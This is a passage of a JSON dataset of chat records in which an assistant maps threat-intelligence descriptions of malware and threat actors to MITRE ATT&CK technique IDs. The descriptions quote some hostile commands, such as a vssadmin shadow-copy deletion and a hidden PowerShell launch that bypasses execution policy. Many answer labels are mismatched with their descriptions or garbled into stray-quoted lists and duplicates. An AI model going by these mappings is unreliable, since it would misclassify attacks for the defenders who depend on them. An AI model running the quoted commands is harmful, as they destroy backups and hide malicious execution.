                "content": "Shamoon creates the new malicious service MaintenaceSrv. It creates the service with the option Autostart (StartType: 2) and runs the service with its own process (ServiceType: 0x10"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has infected victims using watering holes."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpicyOmelette can download malicious files from threat actor controlled AWS URL's."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear employs a modular approach to its malware. It utilizes a DLL loader to decrypt and execute an RC4-encrypted payload. Sometimes, the hardcoded file paths of the encrypted payloads are not under Windows native directories (e.g. It is also possible that the attackers use Waterbear as a secondary payload to help maintain presence after gaining some levels of access to the targets’ systems. The evidence is that Waterbear frequently uses internal IPs as its own C&amp;C servers (for instance, b9f3a3b9452a396c3ba0ce4a644dd2b7f494905e820e7b1c6dca2fdcce069361 uses an internal IP address of 10[.]0[.]0[.]211 as its C&amp;C server"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In between then and now there has been a lot of rumour and debate about all aspects of this attack with many truths and mistruths being carried in public. In this attack a PDF file was used to exploit the Adobe Acrobat, Reader, and Flash Player Remote Code Execution Vulnerability (CVE-2009-1862/BID35759). This PDF installed a Trojan horse which was an earlier version of the current Trojan.Hydraq. Clear all system event logs. This means the remote attacker has the ability to see in real time any user interface activity as if they were sitting right next to the user. As described in the previously posted blog (Hydraq - An Attack of Mythical Proportions), an unpatched Internet Explorer vulnerability (BID 37815) was used as one of the propagation vectors for this particular Trojan.Hydraq attack. This security hole allows remote exploitation, which means that attackers can run any malicious code of their liking on a victim’s machine by taking advantage of the vulnerability. The number of computers we have observed being attacked or have been attacked is low as borne out by our field detection statistics. The use of browsers other than Internet Explorer by an increasingly large number of people may have helped limit the “attack surface” by reducing the number of computers vulnerable to the Internet Explorer vulnerability used in this attack. Prevention &amp; Mitigation Trojan.Hydraq has been known to be spread through specially crafted PDF files and also through malicious Web sites. Potential attack scenario: When using this vulnerability the most likely attack vector used in this case is targeted emails containing legitimate looking PDF documents sent to high level employees"
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XAgentOSX contains the getInstalledAPP function to run \"ls -la /Applications\" to gather what applications are installed."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CHOPSTICK can switch to a new C2 channel if the current one is broken."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main loader and privilege escalation tool, “autorun.exe” fires up a special dropper, which is actually an Equation Group DoubleFantasy implant installer. The installer is stored as “show.dll” in the “Presentation” folder of the CDROM."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encodes commands from the control server using a range of characters and gzip."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Heyoka Backdoor can use spoofed DNS requests to create a bidirectional tunnel between a compromised host and its C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware scans for both open TCP ports 135 (RPC) and 1433(MSSQL) against the target, be it internal or external, and probes for the credential weakness in attempt to gain unauthorized access"
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First, the malware checks for the existence of a Mutex value, “EKANS”, on the victim. Otherwise, the Mutex value is set and encryption moves forward using standard encryption library functions. Primary functionality on victim systems is achieved via Windows Management Interface (WMI) calls, which begins executing encryption operations and removes Volume Shadow Copy backups on the victim"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "S-Type may save itself as a file named `msdtc.exe`, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has attempted to get users to launch malicious Microsoft Word attachments delivered via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has updated and modified its malware, resulting in different hash values that evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When connecting to web shells on a target network GALLIUM has been observed employing Taiwan-based servers. Observed IP addresses appear to be exclusive to GALLIUM, have little to no legitimate activity, and are reused in multiple operations. These servers provide high fidelity pivot points during an investigation"
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has compromised legitimate sites and used them to distribute malware."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used a keylogger to capture keystrokes by using the SetWindowsHookEx function."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BazarLoader is Windows-based malware spread through various methods involving email"
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware', 'T1587.001 - Malware', 'T1566.002 - Phishing: Spearphishing Link', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1534 - Internal Spearphishing', 'T1598.002 - Spearphishing Attachment', 'T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker created and established a service that runs until the encryption process is complete."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pandora has the ability to encrypt communications with D3DES."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has used LNK files to download remote files to the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data  copies to the staging area is compressed with zlib. Bytes are rotated by four positions and XOR'ed with 0x23."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "China Chopper's server component is capable of opening a command terminal."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We observed the threat group upload a second stage malware, known as BUBBLEWRAP (also known as Backdoor.APT.FakeWinHTTPHelper) to their Dropbox account along with the following command"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery', 'T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS has been distributed as a malicious link within an email."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has encrypted C2 communications with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has run whoami on a victim."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware accomplishes this through querying the netsvc group value data located in the svchost group registry key which is HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The injection function is responsible for resolving all the required API calls. It then opens a handle to the target process by using the OpenProcess API. It uses the SizeOfImage field in the NT header of the DLL to be injected into allocated space into the target process along with a separate space for the init_dll function. The purpose of the init_dll function is to initialize the injected DLL and then pass the control flow to the entry point of the DLL. One thing to note here is a simple CreateRemoteThread method is used to start a thread inside the target process unlike the KernelCallbackTable technique used in our macro"
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"ZJ\" variant of BACKSPACE allows \"ZJ link\" infections with Internet access to relay traffic from \"ZJ listen\" to a command server."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sample contains some interesting static artifacts including self-signed digital certificates used to sign the executable purporting to be software from the Foxit Software Incorporated company based in California"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing', 'T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 is widely known to use such social engineering techniques to trick a user into enabling macros, after which a file downloads multiple malicious payloads from remote servers."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can start a remote shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used the command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once deployed, Prestige ransomware payloads will drop ransom notes named \"\"README.txt\"\" in the root directory of each drive it encrypts."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 contains modules, such as \"Get-LocAdm\" for enumerating permission groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Octopus has used HTTP GET and POST requests for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Delete the shadow volumes with vssadmin (“vssadmin Delete Shadows /all /quiet”). - Resize the shadow storage for all units starting from C to H units’ letters (hardcoded letters) to avoid the shadow volumes being made again. Using bcedit program to disable the recovery options in the boot of the machine and set to ignore any failure in the boot warning the user"
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 used legitimate services like Google Docs, Google Scripts, and Pastebin for C2."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 contains modules, such as \"Get-ComputerInfo\", for enumerating common system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Office365DCOMCheck.ps1 and SystemDiskClean.ps1):       wscript.exe \"Office365DCOMCheck.vbs\" \\\"PowerShell.exe  -ExecutionPolicy bypass -WindowStyle hidden -NoProfile '<current PowerShell script>'  \\\"     After setting up persistent access, the payload checks to see if a value exists within a registry key in the HKCU hive whose name is the same as the scheduled task (ex"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This DLL file creates a scheduled task named BaiduUpdateTask1, which attempts to run the malicious, spoofed MSBuild.exe every subsequent minute"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Basically, the shellcode’s main purpose is to launch other code stored in the registry key \\REGISTRY\\SOFTWARE\\Microsoft\\DRM. Below is the disassembled shellcode and commentaries for interested readers"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Otherwise, the Trojan will attempt to parse the response for a command, specifically by splitting the decode response on <> and treating the text to the left of the <> string as the command the text to the right as the command arguments"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Create processes - Write responses from the control server to a file - Send information for all drives - Write data sent by the control server to a temporary file matching the file path pattern %temp%\\DWS00* - Change the time of a file as specified by the control server"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT40 leverages exploits in their phishing operations, often weaponizing vulnerabilities within days of their disclosure"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used compromised Office 365 service accounts with Global Administrator privileges to collect email from user inboxes."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell can query the netsvc group value data located in the svchost group Registry key."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Layer 2 uses a classic Adobe Flash Player Vector corruption technique to develop its heap corruption vulnerability to a full relative read/write available to ActionScript3. In this technique, the attacker sprays Adobe Flash Player Vectors to the heap, and triggers a write vulnerability to change the size of one of the vectors. For more details on this technique, see Flash in 2015"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin has Base64-encoded its configuration file."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The biggest change is the network communication with the C2 server. The malware does not use a raw socket anymore but all the communications are performed with WinInet. The malware performs connection to the C2 server by using InternetOpenA() with an hardcoded User-Agent: \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322\". Note the missing parenthesis at the end of the User-Agent. This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading. On the left a sample from Bisonal 2014 and on the right Bisonal 2011"
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 2 – The GitHub profile for F0R3X containing both legitimate forked code and the binaries created by the attacker"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Poseidon Group tools attempt to spoof anti-virus processes as a means of self-defense."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has downloaded additional code and files from servers onto victims."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "STARWHALE has the ability to hex-encode collected data from an infected host."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can implement DGA using the current date as a seed variable."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to modify the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThreatNeedle chooses its payload creation path from a randomly selected service name from netsvc."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then, it modifies the Team Viewer registry settings. As we said, the Team Viewer components used in this campaign are not the original ones. They are slightly modified. The malware author replaced all the entries of “Teamviewer” strings in Team Viewer components. TeamViewer client registry settings are then HKLMSoftwareGoldstagerVersion5 and HKLMSoftwareCoinstagerVersion5 correspondingly. The launcher sets up several registry values that control how the remote access tool will work. This parameter represents a hash of the password with which a remote user has to connect to Team Viewer client. After that, the starter executes the very Team Viewer client netsvcs.exe"
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can download and execute additional payloads including through the use of a `Dex` command."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used LinkedIn to identify and target specific employees within a chosen organization."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAMMERTOSS is controlled via commands that are appended to image files."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pay2Key can remove its log file from disk."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ServHelper will attempt to enumerate the username of the victim."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peirates can query the query AWS and GCP metadata APIs for secrets."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuietSieve can collect files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DropBook has used legitimate web services to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito stores configuration values under the Registry key \"HKCU\\Software\\Microsoft\\[dllname]\" and modifies Registry keys under \"HKCR\\CLSID\\...\\InprocServer32\"with a path to the launcher."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
